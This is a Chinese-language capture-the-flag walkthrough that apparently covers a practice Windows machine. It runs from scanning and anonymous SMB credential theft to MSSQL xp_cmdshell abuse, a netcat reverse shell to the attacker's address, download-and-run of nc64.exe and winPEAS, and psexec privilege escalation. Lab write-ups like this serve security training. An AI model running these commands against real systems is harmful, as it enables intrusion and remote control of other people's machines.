首先用openvpn连接到vpn服务,然后进行常规扫描

1
2
nmap -sC -sV ip
nmap -sS -Pn -n -p- --open ip --min-rate=5000

综合两次扫描结果,我们会发现很多服务

image-20230603103031511

可以看出又是smb服务,那么我们又要用smbclient来看共享文件夹。

1
2
3
smbclient -N -L \\\\ip\\
-N:no password login
-L: probe for services in target ip

然后我们进入没有权限限制的backups目录。

1
smbclient -N \\\\ip\backups

发现一个prod.dtsConfig文件,我们get下来并且查看。这个文件是我们登陆smb会话时,在目录中自动保存的。

1
get prod.dtsConfig

拿到用户名密码

image-20230603103429034

1
用户名sql_svc密码Mag4c0rp123主机ARCHETYPE

我们需要连接到microsoft sql server简称mssql

这里采用通用连接工具Impacket tool可在github上下载,或者

1
python -m pip install impacket

但是注意,在python中下载之后,里面的工具脚本在python工具的默认安装位置,比如在kali系统中,所有安装的工具默认在/usr/share/doc或者/usr/share/lib等目录。

本题在/usr/share/doc/python3-impacket/examples目录找到了所有工具里面的可以直接调用的脚本。

impacket工具是一个python class的集合,用于不同网络协议部署。

1
python mssqlclient.py -h#本题用的工具

对于windows账户密码已知,我们直接登陆

1
python mssqlclient.py ARCHETYPE/sql_svc@ip -windows-auth

进入sql命令行之后,我们检查是否有一些常见用户

1
SELECT is_svcrolemember('sysadmin');

image-20230603104650377

说明存在。

下面我们设置cmdshell用户直接执行系统命令。

1
EXEC xp_cmdshell 'net user';

但是并没有开启这个功能,提示我们要先设置advanced options

1
2
3
4
5
EXEC sp_configure 'show advanced options', 1;
之后要重载配置
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

现在我们可以检查是否xp_cmdshell已经被激活。

1
EXEC xp_cmeshell 'net user';

发现已经成功,现在来利用xp_cmdshell执行系统命令。

1
xp_cmdshell "whoami"

image-20230603105106326

我们想要反弹shell,现在尝试上传一个nc64.exe到目标机器通过执行cmd反弹shell到监听端口。

下载地址

https://github.com/int0x33/nc.exe/blob/master/nc64.exe?source=post_page-----a2ddc3557403----------------------

然后在本地先起一个http服务用宇传输文件到靶机

1
sudo python -m http.server 80

本地开启监听,等待反弹shell

1
sudo nc -lvnp 443

下面在靶机发起对我们服务器的下载请求,先进行一些基本请求

1
xp_cmdshell "powershell -c pwd"

image-20230603105447966

然后发起下载

1
xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget http://10.10.14.13/nc64.exe -outfile nc64.exe"

在python http监听可以看到下载。

下面执行反弹shell。

1
xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe 10.10.14.13 443"

即可拿到shell。

在Desktop目录可以看到user.txt拿到第一个flag。

但是我们并没有拿到administrator用户。

下面我们用winPEAS提权,这个工具会自动扫描漏洞。

同样用wget

1
2
powershell
wget http://10.10.14.13/winPEASx64.exe -outfile winPEASx64.exe

然后执行

1
.\winPEASx64.exe

image-20230603110341588

在linux中,我们过去执行的命令保存在.bash_history中,在windows中,命令会保存在ConsoleHost_history.txt,具体在C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\目录。

我们进入并且查看

1
type ConsoleHost_history.txt

成功看到administrator账户与其密码。

下面进行提权,我们用刚才impacket tools中的psexec.py

1
python psexec.py adminstrator@ip

提权成功,在Desktop目录拿到flag。